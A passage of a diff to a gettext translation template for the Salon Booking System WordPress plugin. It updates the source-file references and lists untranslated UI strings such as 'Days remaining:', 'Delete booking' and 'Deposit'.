Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:395\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:395\n+msgid \"Days remaining:\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fattendant.php:67, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fattendant.php:67, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fattendant.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fattendant.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fattendant.php:67\n-msgid \"Use this option only if this assistant is able to provide specific services. If not leave it blank\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:525\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:525\n+msgid \"Days Since\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fattendant.php:71, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fattendant.php:71, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fattendant.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fattendant.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fattendant.php:71\n-msgid \"Multiple Customers per Session\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:62\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:62\n+msgid \"Days to exclude\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fattendant.php:87, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fattendant.php:87, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:87, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fattendant.php:87, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fattendant.php:87, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fattendant.php:87\n-msgid \"In the \u003Cstrong>Pro\u003C\u002Fstrong> version you could limit this assistant to view and manage only his own reservations.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:203\n+msgid \"Deactivate License\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fattendant.php:89, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fattendant.php:89, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:89, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fattendant.php:89, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fattendant.php:89, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fattendant.php:89\n-msgid \"Ok, I need this.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_payment_confirmed_content.php:6\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_status_canceled_content.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:124\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_payment_confirmed_content.php:6\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_status_canceled_content.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:124\n+msgid \"Dear\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fattendant.php:79, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fattendant.php:79, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fattendant.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fattendant.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fattendant.php:79\n-msgid \"Limit access to assigned bookings only\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_status_canceled_content.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_admin_message_text.php:5\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_booking_rated_content.php:6\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:115\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_status_canceled_content.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_admin_message_text.php:5\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_rated_content.php:6\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:115\n+msgid \"Dear administrator\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fattendant.php:100, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fattendant.php:100, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:100, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fattendant.php:100, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fattendant.php:100, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fattendant.php:100\n-msgid \"Limit access to back-end calendar only\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments.php:36\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:36\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:78\n+msgid \"Decimal separator\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fattendant_description.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fattendant_description.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant_description.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fattendant_description.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fattendant_description.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fattendant_description.php:9\n-msgid \"Assistant Description\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:158\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:158\n+msgid \"Default Calendar View\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fattendant_description.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fattendant_description.php:13, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant_description.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fattendant_description.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fattendant_description.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fattendant_description.php:13\n-msgid \"A very short description of this assistant. It is optional\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:97\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:97\n+msgid \"Default status\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fattendant_gcalendar.php:9, views\u002Fmetabox\u002Fattendant_gcalendar.php:14, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:14, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:14\n-msgid \"Calendar is not configured\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:1121\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:115\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FForm.php:295\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1121\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:115\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FForm.php:295\n+msgid \"Delete\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fattendant_gcalendar.php:21, src\u002FSLN\u002FMetabox\u002FAttendant.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:21, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:21, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php:39\n-msgid \"Assistant Google Calendar\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:94\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:94\n+msgid \"Delete all Google Calendar Events\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fattendant_gcalendar.php:24, views\u002Fsettings\u002Ftab_gcalendar.php:83, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:24, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:83, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:24, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:83, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:83, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:83, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:83\n-msgid \"Calendars\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:424\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:424\n+msgid \"Delete booking\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:53, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:53, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:53\n-msgid \"Approve this booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:297\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:297\n+msgid \"Delete unpaid reservations after\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:56, src\u002FSLN\u002FPostType\u002FBooking.php:496, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:56, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:496, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:56, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:496, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:496, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:496, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:496\n-msgid \"Accept\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:91\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:139\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:672\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:83\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:91\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:139\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:672\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:83\n+msgid \"Deposit\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:60, src\u002FSLN\u002FPostType\u002FBooking.php:497, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:60, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:497, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:60, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:497, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:497, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:497, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:497\n-msgid \"Refuse\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_search_result.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_search_result.php:41\n+msgid \"Details\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:95, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:95, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:95\n-msgid \"Set as default status\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:38\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:38\n+msgid \"digit your verification code\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:97, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:97, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:97, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:97, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:97, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:97\n-msgid \"Default status\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:410\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:410\n+msgid \"Direct link\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:99, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:99, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:99, 